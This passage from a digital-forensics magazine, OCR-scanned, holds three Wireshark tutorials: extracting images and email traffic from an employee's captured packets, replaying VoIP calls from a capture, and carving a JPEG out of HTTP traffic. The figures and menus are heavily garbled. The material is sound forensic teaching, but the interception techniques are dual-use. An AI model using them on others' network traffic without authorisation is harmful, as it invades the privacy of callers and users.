Fmsisoft 5.1.0.1 2010.12.08
esate 7.0.17.0 2010.12.09 -
eTrust-Vet 36.1.8029 2010.12.09 -
F-Prot 1.6.2.117 2010.12.09 CVE-01gg
F-Secure 9.0.161A0.0 2010.12.09
Forcinet 4.2.254.0 2010.12.09 -
GData 21 2010.12.09
Ikarus T3.1.1.90.0 2010.12.08

Figure 7. Virus total results

CONCLUSION

Wireshark is crucial for network analysis and for analyzing the protocols, hence widely used by pentest-
ers, Network analysts and Network administrator. Wireshark provides easy-to-use interface to capture
and filter the packets according to one’s needs. Wireshark uses different color-coding for different color
packets. This color-coding helps us distinguish between different packet types and hence is useful for
quick overview. To narrow down the search Wireshark filters can be used. Wireshark currently supports
over 1100 protocols and range of filters to facilitate the search criteria.
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CAPTURING E-MAILS AND GOOGLE IMAGE

SEARCHES FROM
YOUR NETWORK

by Jessica Riccio

Culling through thousands of packets can, at times, seem
daunting, but it is important to remember that packet analysis can
be a crucial part of forensic investigations and network security.
Through defining and exploring uses of packets in network
forensics and applying the industry standard software known as
Wireshark, we can gain real-world knowledge of packet analysis
and showcase its importance in forensics investigations.

+ Secti f ket . . .

: P:z;z;’z:mi:aai < capiure Wireshark to Solve Real-World Network Problems packet analysis, is

. Investigative uses of Wireshark the process of capturing and interpreting live data as it flows across
a network in order to better understand what is happening on that network

[1].” Packets flowing to and from the computer contain information needed by

According to Chris Sanders, author of Practical Packet Analysis: Using

« Basic TCP/IP protocols the computer to communicate with the Internet and other computers on the
+ Familiarization with OSI Model lay- | network. There are many tools available to network administrators and foren-
ers sic investigators that facilitate the capturing of packets and their subsequent

analysis; however, the same tools can be used by others who are trying to
gain knowledge about a network, in hopes of penetrating into the network.
Additionally, in the unfortunate circumstance where someone is able to gain
unauthorized access to a network, looking over network logs and packet cap-
tures can provide insight into the investigation where there may be little evi-
dence otherwise.

WHAT IS A PACKET?

Packets play a part in every TCP/IP communication in which a computer par-
ticipates. Essentially, a packet is like a container that holds information per-
taining to the particular communication for which it is being used. This data
includes where the information is coming from, where the information is go-
ing, what the information is, and what the receiving computer needs to know
about the information.

A packet has main three parts: a header, payload, and a trailer. Each part of

the packet is needed in making sure the information being sent arrives at the
correct recipient and has not been altered.
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HEADER

The header is usually between twelve and fourteen bytes in length and is the first part of a packet. Infor-
mation contained in the header assists the computers and networks participating in the communication
by providing the following data: the source IP address, the destination IP address, and the number of the
packet, if it is part of a sequence. Additionally, there can be other options and flags included in the header
specific to the purpose of the packet.

PAYLOAD

The payload is the data being transmitted, such as the body of an email that is being sent from one em-
ployee to another. The payload is usually between 46 and 1500 bytes in length. If the data needing to
be sent is larger than the payload of one packet, multiple packets are used until all of the data has been
sent to the recipient. When TCP/IP was first implemented, users discovered that a computer would be-
come unstable if the payload exceeded the standard size at the time, which was eighty four bytes. This
exploitation became known as the Ping of Death and has since been remedied in recent versions of
TCP/IP protocols.

TRAILER

The trailer is rather straightforward, yet is an important part of the packet. The purpose of the trailer is to
signify the end of the packet. Additionally, the trailer can contain error-checking methods that ensure the
packet is valid.

PACKET SNIFFING AND SNIFFERS

Often used interchangeably with the term packet analysis, packet sniffing is the act of looking at packets
as computers pass them over networks. Packet sniffing is performed using programs called packet sniff-
ers. These programs are designed to capture the raw data as it crosses the network and translate it into
a human readable format for analysis.
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Packet sniffers range from simple, command-line programs, like tcpdump, to complex programs with
many options and a graphical user interface. Using various flags and filters, programs can be used to
capture only relevant packets. For example, if the network administrator or investigator is concerned
about only a single area of intrusion, such as email, they can filter out all packets that are not a part of
email communications. For the purposes of this article, we will be using Wireshark, a program that of-
fers a graphical user interface for ease of use and has the ability to perform advanced packet analysis.

WIRESHARK

Wireshark, which was created in 1998, is a multi-platform “network protocol analyzer... that lets you see
what’s happening on your network at the microscopic level [2].” As an industry standard program, Wire-
shark offers many features, the most useful being its ability to perform packet captures and allowing the
network administrator or forensic investigator to analyze the capture offline. Wireshark also allows for
deep packet inspection, which can be a treasure trove of information. It is important to always keep Wire-
shark up to date so that certain privileges needed to perform the packet capture are available. Because
of its prominent place in industry, as well as its ability to perform deep packet inspection and offline analy-
sis, we will be using Wireshark for our case study later in the article.

TYPES OF PACKET INSPECTION

There are two different types of inspection when dealing with packets: shallow packet inspection and
deep packet inspection. Each type of inspection is used for various tasks and has their advantages
and disadvantages.

SHALLOW PACKET INSPECTION

Shallow packet inspection (SPI) is the most basic form of packet inspection. This type of inspection is
only concerned with the reading the header of the packet being transmitted. SPI occurs at the Network,
Data, and Physical layers in the OSI Model because these layers are responsible for getting the data
from its sender to its recipient. [3]

DEEP PACKET INSPECTION

While SPI is sufficient for some layers, other layers need to access the payload of the packet in order to
successfully accomplish their tasks. Deep packet inspection (DPI) allows the Application, Presentation,
Session, and Transport layers in the OSI model to read the payload of the packet. The reading of the
payload can be beneficial in instances where viruses and malware may hide in the payload of a packet.
If SPI was used instead of DPI, malicious code could penetrate a network and begin infecting machines
or stealing private information. Though useful in some instances, DPI has not been without controversy.
Some have claimed that its use by telecommunication companies, to aid in network intelligence and
monitoring, is too intrusive and should be evaluated. [3]

CASE STUDY

In order to better demonstrate the concept of packet analysis and its relevance to a forensics investiga-
tor, we will perform two different packet captures and analyses. There will be a hypothetical, yet realistic
scenario that will showcase each part of the case study. As we progress through the steps required to
perform each capture and analysis, it will be become apparent how each is representative of a possible
situation a forensics investigator or network administrator may come across.

SETUP

First, we downloaded Wireshark 1.10.5 and installed the program on computer running a 64-bit version
of Windows 7. We accepted all of the default settings and installed Winpcap during the installation as
well. Google Chrome version 32 was used as the Internet browser.

GOOGLE IMAGE SEARCH CAPTURE AND ANALYSIS

The first part of our case study involves a scenario in which a Google image search is the main focus.
After the scenario is presented, we will step through the process of capturing and analyzing the packets
for pertinent information.

SCENARIO

Imagine that you are the manager of a company and receive a tip from an employee that another em-
ployee is using his computer to view images that violate the company’s computer use policy. After hear-
ing this information, you want to decide if the allegations made against your employee are true, and thus,

« =



contact your IT department to ask for their assistance. The network administrator suggests hiring a fo-
rensics investigator to assist in the matter and together they decide that it would be best to monitor the
suspected employee’s activity on the network for the next week to see if there is any evidence to support
or refute the claims against the employee viewing images.

CAPTURING AND SAVING PACKETS

To capture the packets going to and from the suspected employee’s computer, the network administrator
must begin a capture using the following steps:

* Open Wireshark and choose Options from the Capture drop-down menu.

i e ——————————]
! The Wireshark Network Analyzer [Wireshark 1.10.5 (SVN Re
e ————— 1

File Edit View Go Capture Analyze 5Statistics Teleph

@ ® & B o 9 Interfaces... Crl+l |
Eilter: &) Options... Ctrl+K

4 Start Ctrl+E
¥ Stop Ctrl+E

e
4% Restart Ctrl+R

[~ Capture Filters...

{22 Refresh Interfaces

Figure 1. Capture drop-down list options

* In the Capture Options window, select which network connection you would like to monitor.

* Next, because we know that we are concerned with viewing images, we can apply an HTTP filter to
the packet capture. This will ensure that we have far fewer packets to sort through. The application
of the capture filter is done through the Capture Filter button on the Capture Options window. Select
Capture Filter and choose HTTP from the pop-up window.

* Once both of these options are chosen, press the start button to begin capturing all HTTP packets
coming to and from the machine. At this point the capturing has begun.

* For the purposes of this case study | searched Google images for “Fiji.”

+ At the end of the capture period, navigate back to the Capture drop-down menu at the top of the
screen and select Stop from the drop-down menu.

* From the File drop-down menu, select Save As so that we can analyze the capture at a later point
in time.

ANALYZING PACKETS

Now that we have captured the packets going to and from the suspected employee’s computer, we can
search through the packets to identify any viewed images that violate the computer use policy. The anal-
ysis is done in the following manner:

* Open Wireshark and select Open from the File drop-down menu.

* Because the capture was only catching packets involved in the HTTP protocol, there is no need to sort
based on protocol. Instead, sort the packets based on Info by clicking on the /nfo column header.

+ Once sorted, navigate to the packets whose payload begins with “HTTP/1.1 200 OK (JPEG JFIF image).”

+ At this point, you highlight the packet for which you will be exporting. To do this, click on the packet
you wish to export.
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Figure 2. Selected packet for analysis

* The view-pane at the bottom of the screen contains the contents of the packets payload. Because
we are interested in the kinds of images being looked at, and not simply that images were looked
at, we need to focus our attention here. In order to see which image is being communicated in the
packet, we need to export the portion of the payload that contains the bytes of the image. Select
JPEG File Interchange Format from the middle view pane.
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Figure 3. Selected Bytes Used By JPEG File Interchange Format

* You will see that bytes are now selected in the bottom view-pane.
Format and select Export Selected Packet Bytes.
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Figure 4. Right-click menu for JPEG File Interchange Format

+ Save the bytes in a destination of your choosing. Once saved, open the image using any image
viewer. The image being displayed from searching for the “Fiji” is representative of the image that
was viewed by the employee violating the computer use policy.
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Figure 5. Exported image created from exported bytes in selected packet

CONCLUSION

After identifying that the suspected employee did in fact look at images that violated the computer use
policy, the network administrator or forensics investigator can alert the manager that the allegations are
true, and they can pursue appropriate actions against the employee.

EMAIL LOGIN AND TEXT CAPTURE

The second part of our case study will demonstrate another scenario in which network forensics might
be used to help solve a case. Additionally, we will discuss issues that may arise during certain types of
network investigations.

SCENARIO

Imagine that Jason’s co-worker was just promoted to a managerial role in the company. Having wanted
this manager position for some time, Jason was more than irritated when he did not receive the position
he thought he deserved. In an attempt to sabotage the new manager, Jason decided to make an email
account that appeared to be his new manager and proceeded to send inappropriate emails from the fake
email account to the president of the company, hoping that the new manager would be removed from
their position and Jason would take over. After the president received the emails and spoke with the just-
made manager, it was determined that the email account did not belong to him. He thought someone
might be trying to defame him because of his recent promotion. The president decided to enlist the help
of a network forensics investigator to help get to the bottom of the issue. With the information known to
them, they zero in on Jason, and decide he will be their first suspect.

CAPTURING AND SAVING PACKETS
Just as was performed in the first part of the case study, we need to capture any packets related to
emails coming in and out of Jason’s computer the using the following steps:

* Open Wireshark and choose Options from the Capture drop-down menu.

* In the Capture Options window, select which network connection you would like to monitor.

* Because we want all of the traffic that will be coming to and from the computer, we will not set any
capture filters during this part of the case study.

* Once the network has been chosen, press the start button to begin capturing all packets coming to
and from the machine. At this point the capturing has begun. For the purposes of this case study |
logged into a newly created Gmail account (JasonsManager@gmail.com) and sent an email to my-
self from the account.
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* When the capture is finished, navigate back to the Capture button at the top of the screen and select
Stop from the drop-down menu.
» From the File drop-down menu, select Save As so that we may analyze the capture at a later point in time.

ANALYZING PACKETS

Just as before, we can now inspect the packets concerned with email logins and email content that have
been going to and from Jason’s computer. We will search through the packets, attempting to identify the
login associated with the fake email account and any potentially defaming content coming from the email
account. The analysis is done in the following manner:

* Open Wireshark and select Open from the File drop-down menu.

* Because we are concerned with packets involved in the emails, sort the packets based on /nfo by
clicking on the Info column header.

* We are looking for the first part of the payload (“Info” column) to say “POST.” POST is a common
HTTP command that is used for many tasks, one of which is sending e-mails.

+ After searching through the packets and applying various filters to the captured packets, we did not
find any packet that matches our login credentials for the fake email or the contents of the email.

HYPERTEXT TRANSFER PROTOCOL SECURE (HTTPS)

The fact that we did not find the exact packet for which we are looking is unfortunate for the company, if
they do not have any other evidence that Jason is the creator and sender of the defaming emails. How-
ever, not finding the relevant packets allows us to demonstrate a very important part of TCP/IP commu-
nication and network forensics: HTTPS. HTTPS is one of the ways that confidential information is sent
across networks and the Internet. Typically, when a website, such as www.gmail.com, is visited, data
security is important and the communications will take place over an HTTPS protocol instead of a HTTP
protocol. During an HTTPS session, the website encrypts all of the communication with a Digital Cer-
tificate to ensure that anyone eavesdropping on the connection cannot steal data. Companies, such as
GoDaddy and Verisign, supply and authenticate digital certificates.

CONCLUSION

Based on the HTTPS connection and encryption employed by Gmail, we were unable to determine if Ja-
son was the creator and sender of the fake account and emails. Nonetheless, it is important to remember
that there are often other pieces of information that may lead to an answer for the company.

SUMMARY

Packets are the foundation of all computer and network communication and thus play a large role in
network forensics. Industry programs, like Wireshark, allow network administrator and forensics investi-
gators to delve deep into packet analysis and potentially solve issues that arise. Based on the two-part
case study presented in this article, we can see that packet analysis can be crucial to a network foren-
sics investigation.
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SNOOPING ON CALLS
USING WIRESHARK

by Milind Bhargava

(VolIP, n.d.) - Voice over Internet Protocol, is the new fashion in
market. Everyone is moving towards it. Not that | feel there is
anything wrong with it. It is not really that secure. Irrespective of if
you are a forensic expert or a malicious user, using a tool as simple
as Wireshark can help you listen to the calls made on a network.

What you will learn:

* You will learn how a simple tool
such as Wireshark can be used to
listen to VoIP Phone calls.

What you should know:

+ Basically you should be familiar
with what Wireshark is and have it
installed. The link for downloading
the captured packets used in this
tutorial is mentioned below.

both to capture packets and to read packet captures. Now this may

sound like no big deal, so what if you can see some packets on the
network right? Not at all, using Wireshark you are able to intercept passwords,
re-create files that were transferred so that you know what the file is, even read
emails that were sent while Wireshark was running. It is also used to identify
network performance issues to help decrease lag across your network. Down-
load the packet we will be using in this tutorial from the following link: https:/
app.box.com/s/ckqnva2ygephrsdmn335.

SETTING UP WIRESHARK

This is assuming you have Wireshark installed and have a capture file to ex-
amine. Feel free to download the capture provided with this tutorial so that
you can follow along. First things first, after opening it up you should see
something like this:

W ireshark, is a free, open-source, packet analyzer that can be used

o eForensics-Dema-Milind-Busgaa peapng  [Wireshark 1105 (SVN Roev 54262 from ftrunk-1.10) SCEE]
Bl [de Yiew Go Coptwe frahoe et Teeshomy ook jreemb biel

c@adm g BEx2 L+saTF2(BE
Fier
his Tiree - Brotacel Langth &
X L1680, 51,5 2 bequest: INVITE s1pI10028192.168.0.17
2 0.00033200 192, 1 7 15 517 500 status: 401 Unauthorized
50 7 152, 168.0.15 I E)
&0 : 18 168.0.15 zte F
72 3.0.17 152.168.0.15 sze 1
152, 168.0.15 519508 o
5.0.1 152, 165.0.15 51,508 [
16192, 108. 0. 1 52 FL 7145 A n3TANCe=d sapess f 14301004

.........

| O
Figure 1. Wireshark Main Page
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Now starting from the left we have different columns that we can use to help us sort through all of
this info. In order to read packets better you should go to Edit > Preferences> Columns and add Des-
tination Port (unresolved) as a column. That tells us which port the packet is connecting on, 5060 for
sip, 80 for http, and so on. This will help you identify what is going on and if a program is connecting
through the correct port. Not so useful in the confines of this example packet or tutorial, but definite-
ly worth having further down the road. Feel free to sort the columns into whatever order you prefer,
though personally | think it's helpful to keep the NO. Column on the left.

I assume most of you already know what Wireshark is and probably have used it before at least once.

UDP STREAM
SIP Packets are sent in UDP, you can follow as in the image below.

A eForensics-Demo-Milind-Bhargavapcapng [Wireshark 1.10.5 (SVN Rev 54262 from /trunk-1.10}] = -oEN
File Ede Yiew Go Capture Anaboe Statistics Telephomy Tools Internals Help
om 4 W 4 ExXx2 qaeraT 2 DE caamn @aBmx o
Filter: w | Expressien..
Ho. Tirme Seurce Destination Prctocel Length Info
2 0, 00025200 192. 168.0.17 192.168.0.15 5P 593 Status: 401 Unauthorized |
5 0.17029100 192, 168.0.17 192.168.0.15 s1p 535 Status: 100 Trying
6 0.17512000 192, 168.0.17 192.168.0.15 s1p 551 Status: 180 Ringing
7 2, 81580300 192. 168.0.17 192.168.0.15 sI1p 551 Status: 180 Ringing
B 9. 64006400 152. 168. 0. 230 1050, Bis statuss 2000 b _________________________________________|
9 9. 74823000 192, 168.0.17 192.168.0.15 SIP/Z Mk Packet (toggle)
Ignase Packet (toggle)
12 15,1330100192.168.0.17 192.168.0.15 ggp |\ Set Time Refevence (togghe) S10018152. 168, 0.15; 31716; r instance=1added5f Ja5c2614
=) Tarrse Shalt... »

+ Frame B: 836 bytes on wire (6704 bits). 838 byves captured (6704 [ & Packet Comment.

« Ethernet 11, Src: Microsef_00:0f:14 (00:15:5d:00:0F:14), ost: pel] : 9:ee)
« Irternet Protoce]l version 4, Src: 192.168.0.17 (192.168.0.17), psy  Manusly Resche Addvess 3

+ User Datagram Protocol, Src port: sip (5060), OST POrt: 31716 (315 aon acFiner

# sessfon Inftiatien Protocol (200) Brepare a Fiter

Camversatsan Filler
Calorre Cemeration

Foliow UDR Stresm

Capy '
Pretocsl Preferences .
2 Decode ds..
0000 b8 ca 3a 72 9 ee 00 15 54 00 Of 14 08 00 45 60 = Print... [

0010 0% 38 FF Bd 0D 00 40 11 f6 56 <O a8 00 11 <O a8
0020 00 Of 13 o4 7b o4 03 24 32 79 53 49 50 f 32 2e
0030 30 20 32 30 30 20 4f 4b ©Od Oa 56 €0 61 ja 20 53

Show Packel in Mew Windeow

o
ok L.viar 5

0040 49 50 2f 32 2e 30 2f 55 44 50 20 31 39 32 2e 31 1P/2.0/u DP 192.1
0050 3638 2¢ 30 26 3135 Ja 33 31T 3136 %0 @ 72 68013 nrisiir .
@ ¥ |FileC ‘\Users\Milindh Dvopbox\eforensics-...  Packets: 15 - D yed: 15 (100.0%) - Load times 0:00.083 Predile: Defauk
EEnEL =y I "y ~ T ¥ | g ML r T danr el L e e e
: e il = A ‘ T s e

Figure 2. SIP Filter Pre-Selected
A few IP Addresses worth identifying here:

192.168.0.15 — My PC call originator

192.168.0.17 — My VolP Server

Server: FPBX-2.11.0 — The (Freepbx, n.d.) server

Information such as version etc can also be used to find vulnerabilities in the network systems.

This is what a typical SIP Packets Exchange looks like:

MNa. Time

Destination Protocol Length Info

Figure 3. SIP Packets Exchange

Opening the UDP stream shows you how the call went from dialing to ringing to answering to hanging
up. There are different (SIP Codes, n.d.) For it just like (HTTP Codes, n.d.).

180 Ringing
200 Call Answered

www.eForensicsMag.com @ @
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P Follow UDP Stream EE]rE=]

Stream Content

Contact: =<sip:1002@192.168.0.17:5060> -
content-Length: 0O

SIP/2.0 180 Ringing

via: SIP/2.0/uUDP 192.168.0.15:31716; branch=z9%hG4bk-d8754z-7ffd6e3d79264edb-1-—-
d8754z-;received=192.168.0.15;rport=31716

From: "Super8"=sip:1001@192.168.0.17>;tag=6bT46268

To: <5ip:1002@192.168.0.17>; tag=as482b1817

Call-ID: NjcaMzNmY2IyYZE2ZTIkMIkyZWU3ZjglNWMXOWILZ Y

C5eq: 2 INVITE

Server: FPBX-2.11.0(11.7.0)

Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH
Supported: replaces, timer

Contact: =<sip:1002@192.168.0.17:5060=

Content-Length: 0O

SIP/2.0 200 OK

via: SIP/2.0/uDP 192.168.0.15:31716; branch=z9%hG4bk-d8754z-7ffd6e3d79264edb-1-—-
d8754z-;received=192.168.0.15;rport=31716

From: "Super8"=sip:1001@192.168.0.17>;tag=6bf46268

To: <sip:1002@192.168.0.17>; tag=as482b1817

Call-ID: NjcaMzNmY2IyYzE2ZTIkMIkyZWU3ZjglNWMXOWI1Z Y

CSeq: 2 INVITE

server: FPEX-2.11.0(11.7.0)

Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFOQ, PUBLISH
supported: replaces, timer

Contact: <sip:1002@192.168.0.17:5060>

Content-Type: application/sdp

Content-Length: 259

v=0 e
Entire conversation (8911 bytes) Y]

Find Save As Print () AsSCl () EBCDIC () Hex Dump () C Arrays (@ Raw

Help Filter Qut This Stream Close

Figure 4. UDP Stream

SIP EXCHANGE

* INVITE from the initiator to the responder;

* ACK from the responder;

» Several MESSAGE frames back and forth;

+ After a few minutes (the duration of the video call), a BYE from the responder to terminate the session.

Telephony | Tocls Interna

ANSI r

G5M »

H.225...

[ax2 »

15UP Messages

LTE

MTP3

ETP

RTSP

SCTP

SlIP...

SMPPOperations

UCP Messages
t, VolP Calls

WAP-WSP...

T ¥ v v v

Figure 5. Telephony Menu
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Now, proceeding to what the article is all about, in the menu tabs go to Telephony and select VolIP Calls.

LISTENING TO THE CALLS
You now get a menu that shows all the detected calls. We shall select the flow first

i | vFthernel (Home) - VolP Calls L= “
| Detected 1 VolP Call Selected 0 Calls,
Start Time * Stop Time 4 Initial Speaker 4 From 1 Te 4 Protocel 4 Packets 4 State 4 Comments 4
14391745 51.566550 152.166.0.15 "Superd”<sip:1001@192.1¢ "1002" < 5ip:1002@152.168. SIP 13 COMPLLTLD
|
|
|
|
i < >
| Totak Calls: 1 Start packels: 0 Completed calls: 2 Regected calls: 1
H Prepare Filter Flow Payer Sclect All Llose
|

Figure 6. VoIP Calls Log

FLOW GRAPH ANALYSIS
This shows how exactly the call went through between me and the server.

Ti 192.168.0.15 Comment
b 192.168.0.17
14391745000 SIP From: “Super8™<sip:1001@192 168017 To: 1002 <sip-10
14392125000 SIP Status
14392689000 SIP Request
14.498376000 SIP From: “SuperS™ <sip:1001@ 192168017 Toc 002" <sipci0
14,499272000 SIP Status
14.504627000 SIP Status
16.624338000 SIP Status
22309763000 SIP Status
22.358052000 RTP Nurn packets1447 Duration:28920s SSRCTIFTAIE2
22407083000 SIP Request
51.283385000 SIP Request
51387834000 SIP Request
51.566335000 SIP Status
51.566590000 SIP Status
1 1
1 1
1 1
1 1
1 1
1 1
> >
e s

Figure 7. Flow Graph Analysis

Now we go back to the previous menu option and select player.

www.eForensicsMag.com ‘ ‘
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P vEtheret (Home) - VoIP - RTP Player - o

1:01 10:51:02 10:51:02 10:51:04 10:51:05 10:51:06 10:51:07 10:51:08
£ >
+| From 192,168.0.15:64330 to 192.168.0.17:13274 Duration:28.94 Drop by Jitter Buff:0(0.0%5) Out of Seq: 0(0.0%) Wrong Timestamp: 0(0.0%)

View as time of day

Jitter buffer [ms] 30 : Use RTP timestamp Decode Play Pauze Step

Figure 8. RTP Player

| always like to choose time of day as it helps me relate to the correct call under diagnosis.

Now we have just seen how you would do it practically, there aren’t many complications to do it. Now
what about other things such as PCI Compliance with VoIP. Naturally, no one wants their Credit card data
stolen while talking to the bank agent. Here are my thoughts on it.

CONCLUSION

You may have noticed how easy and simple it is to listen to calls on the network. It does not require much
of an effort on your part. So far | have used this as a diagnostic process to check call quality, but it could
very well be used for malicious purposes too.

S
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PROTECT YOUR BUSINESS FROM CYBER THREATS!

Learn to identify and eliminate modern cyber risks at one of the leading European industry events.

Your business isn’t safe. You may think that you are prepared for the risk of cyber threats like hackers and
viruses, but you aren’t.
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CARVING BINARY

DATA

FROM PACKET

CAPTURES

by Kelly Doyle

Imagine you are an incident responder and are notified that your
company’s network has been compromised for the last several
weeks. Your boss tasks you with identifying what information
was exfiltrated from the network. Where do you start? This article
will introduce you to some of the basic concepts for finding and
carving out forensic artifacts off the wire.

What you will learn:

* How to follow a TCP stream in
Wireshark

* Carving out binaries from packet
captures in Wireshark

What you should know:

* TCP/IP Fundamentals — three-
way hand shake

* An Installation of Wireshark

* How to unzip gz files

« Wil need a hex editor installed,
such as McAfee Fileinight.

traffic on a network. Network analysts can create a timeline of events

between two hosts using packet capturing tools on the network. There
are a number of tools available on the market that can be used to automati-
cally extract files from packet captures. Packet capturing tools makes it pos-
sible to extract exact copies of files transferred between hosts using many
types of unencrypted TCP and UDP protocols. Automated tools such as Net-
workMiner work particularly well for automating some of the analysis. Howev-
er, automated tools don’t always do the best job in every situation. You should
know how to manually extract binaries and the underlying concepts for when
you find yourself in a scenario where your automated tool has not worked as
intended. This is true when binary data has not been completely downloaded.
In some cases the binary data still needs to be carved out. Since Wireshark
is one of the world’s most popular and widely developed network analyzers,
we will use it in this example to show how to extract binaries from packet cap-
tures over the HTTP protocol. We will be focusing on extracting a jpg for this
example with the intent that this technique can be used to extract other binary
data from packet captures with the same technique.

EXTRACTING FILES FROM PCAP USING WIRESHARK

VIEWING THE TCP STREAM

We begin by opening a saved packet capture file notated with a PCAP file
extension. The packet capture for this example can be downloaded from the
below link to follow along or recreate this process. You can also find this, as
well as other useful packet captures, on wiki.wireshark.org (Original content
on the wiki.wireshark site is available under the GNU General Public License.
See the License page for details: http://wiki.wireshark.org/License)

® e

P acket capturing tools provide valuable insight for those that monitor
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http.//wiki.wireshark.org/SampleCaptures?action=AttachFile&do=get&target=http_with_jpgs.cap.gz

Assuming you already have Wireshark installed and http_with_jpgs.cap downloaded open the packet
capture file with Wireshark by double clicking on http_with_jpgs.cap. Alternatively, you can open a packet
capture file from within Wireshark by going to File > Open > and browsing to your file of choice.

Once the file is open we can see the three-way handshake which is typical for establishing remote
connections of the TCP protocol Shown below in Figure 1, we see a GET request for DSC07858.JPG in
packet number 278. We will be discussing how to carve out DSC07858.JPG from this packet capture.

Eleiﬂirmﬁowm:;1wxmmﬁ¢
S eEXRe ae»a Tl (EE cacaD @%@
Filter: EBDIM Clear  Apply

Protocol_Length lnfo

Figure 1. Wireshark interface showing a GET request for DSC07858.JPG

In this case, a connection was initiated when the GET request was sent to the web server asking to
view the page after the three-way handshake was completed.

Wireshark has the ability to reassemble TCP streams into a single and more readable format. It's often
used to view the session data associated with non-encrypted protocols such as in our HTTP example.
Think of it as the entire conversation in one easy-to-read window. Generally, there are two colors in the
Follow TCP Stream window, red and blue. The red text shows traffic from the source to the destination,
while the blue text is used to identify traffic from the opposite direction, shown in Figure 2.

*Note: To follow a particular TCP steam
in Wireshark, right click on the highlight-
ed packet from Figure 1 and go to “Fol-
low TCP Steam”. See example below in
Figure 3.

Data Out e——ty-

_D ata |ne———

Home Computer Webserver

Figure 2. A visual representation of the flow of data in a TCP session

Mark Packet (boggle)
Tgrore Packet {boggle)

set Time Feferance (toogle)
Time Shift..,

Piasthat Comment. .,

26

[

Marnsaly Resolve Address

Apphy as Fiker
Prepare a Fiter
omearsation Fiter
Colorize Lonversatan

L3
v
v
.

Copy b
Protocal Preferenes b
Gl Decode Bs...
& Print...
Shiove Packet in New Window

Figure 3. Right click popup window showing “Follow TCP Stream”
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Now that we have followed the TCP stream, we can see
workstation sent to the web server and the response that we
lighted text. The content-Length shows the size of the web se

EFOPEHSICS
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the red highlighted text showing what the
received from the web server in blue high-
rver’s response. The content length returns

the number of bytes sent to the browser minus the TCP overhead. This can be seen in Figure 4. In our
case, it’s the size of DSC07858.JPG that’s being served up to our web browser. Our next task is to iden-

tify what protocol is being used so that we can pull a copy of

[l Follow TCP Stream .

the file from the packet capture.
ool

Stream Content
GET /webs idan/2004 -07-Seawor 1d/Tullsize/DSCO7B58. IPG HTTP,/1.1
user-aAgent: Mozilla/4.0 (compatible; M5IE 6.0; Windows NT 5.0) Opera 7.11 [en]
HOST: 10.1.1.1
ACCept: app'l'|raT1n|1 x-shackwave-flash,text /xm1, applicarion/xml app'l1rar1nr-”xhrr1'|+rn'| text/
html; g=0. 9, text/plain; g=0. 8, video/x mng image/ pr'g image/jpeg.image/gif;g=0. 2, text/css,*/;q=0.1
Accepl-Langudge: en
Accept-Charset: windows-1252, utf-8, utf-16, i50-8859-1;9-0.6, *;g=0.1
ALCepl- ErlLULIlng defTate, gzip, xg E 1LiunL|L¥ *q=0
Referer: http://10.1.1.1/ neb:ﬂdan ok /2004 /28/dagbok. htm]
connection: veep -Alive, 1
TF: deflate, gzip, rl1unde, identity, trailers
HTTRP/1.1 200 oK
|| |pate: Sat, 20 Nov 2004 10:21:17 GMT
|| |server: gache_.a'z.o.-m (red Har Linux) |
||| Last-Moditied: Sun, 18 Jul 2004 14:13:19 aMT
elag: "7593f-zeclb-a77dldco”
| Arr?pt—nangeq: hytes !
)| [content-Length: 191515
Il connection: close
|| [content-Type: image/jpeg i
| | | . 1FTF --H.H..... created with The GIMP. . .C._ .. ........ .. |
|
| |y $." ", 8. .(7),00d44."9=82<.342...C........
| L2101
| :_222222“????;‘?“}‘??????222222?}‘???‘??????‘????221_22 !
| 1..1aQ"a. 2q. . #. .BR. .. 3b. |
|
S m s E e sesasesesaassmsEsmsEsmssaseseas e snnmnns 1.1.A.Q"22q. . #B. ..
: (e e e Corere e L AR TR B T it |
K.=¥, OKFD—.”] T....2TEIT.U.4.0]. ]TP -J. 21] MT «T.R....M8%].R.B
I = ‘MO EK. .M.P_A.R.*_Y.iST_.H.. Tl b O TR IS T P
| L M. e1..). 1
| +g5.. .. 2. ¥, HIES. jro)..,,...k&J.sﬁ bir.6....0. K.
| Nj..14. L RIS ].'I MR!j. g Loh B e e 2 | K5 KA. LA ey s R T Y.
4. .gju. I ]__'| S¥eQ,. ."T (f
I |*2j7 = 55 spa! Rl CUToM. w36, ﬂg.le.@-&K_ = '
I |(aira.4 v 5
¥T-..z.
| Sz5q UG4.Ay. e aaTaj E71].D \
5 LoSR...IMEA.. .01
T |
| | P |
....... -J..K..n.*cw.57... M
—}'JI wl SMLI‘-‘IOJ b T T T e P
L |.|c;u...r1...:1..r._u_, [ P L APPERECL SR, 1 b p F O, e A [P P 4 i R T
I =) ]Y zY 61 1 MBv. %, .K4....4.M.2.T. Bl R dob -]
¥ 1 "R mug. hi & ¥ h € n na <
Entire conversation (192414 bytes) lLl
| RN Eind | Save iz Print ASCI EBCDIC Hex Dump C Arrays @ Raw
Help | Fitter Out This stream | I Close ]

Figure 4. Follow TCP Stream window

HTTP

There are a number of ways to identify which protocol a particular packet belongs to. The easiest way is
to note the color coding that is used to label packets on the main interface. Wireshark uses green as the
default color designation for all HTTP traffic. So it is obvious to tell what protocol is being used. Since we
have the Follow TCP stream window open (Figure 4), we can take a look at the GET request to verify

the HTTP protocol is being used.

Now that we know what protocol is being used to transfer

the file we can export the object from this

packet capture by going to: File > Export Objects > HTTP. We can see in Figure 5 that we would choose
a different option like SMB to correspond with the type of protocol we are working with.

Dpen... Cid-0 3 O \v saTFTa 5='||_ﬂ aaam
Cipen Becent bl — -

e | « | xpression... Clear 27
Import... | Destination Frotocol Length Info

® Close CuteW | 10.1.1.1 TCR 62 tick-por

| | 10.1.1.101 TP 62 http > ©

@ save trs HEETE 54 Tick-por

@ Swvepe. Shifte Ctrls S 10 91 GET /wel

60 hrTp > ©

File Set + - 1514 [TCP seg

= e TCP 1514 [TCP sec

Export ' File... - S4rEickzpor

Brint... Crlep o i L ESTASLTCPISRE

= 550 Session Keys... P 54 tick-por

& Qut CtileQ Objects ' HTTP [TCP sec

Qll.nM JCP SeC

287 10.846984 10.1.1.101 10.1.1.1 ick-per

P88 10848150 100111 10.1.1. 101 G _rce sec

Figure 5. Exporting HTTP Objects



The HTTP object list shown in Figure 6 contains a list of files that can be carved out of the TCP ses-
sion. We identified earlier that we wanted to extract “DSC07858.JPG” from the TCP session. However,
there seems to be more than one file with that name. We must now go back to verify which file we had
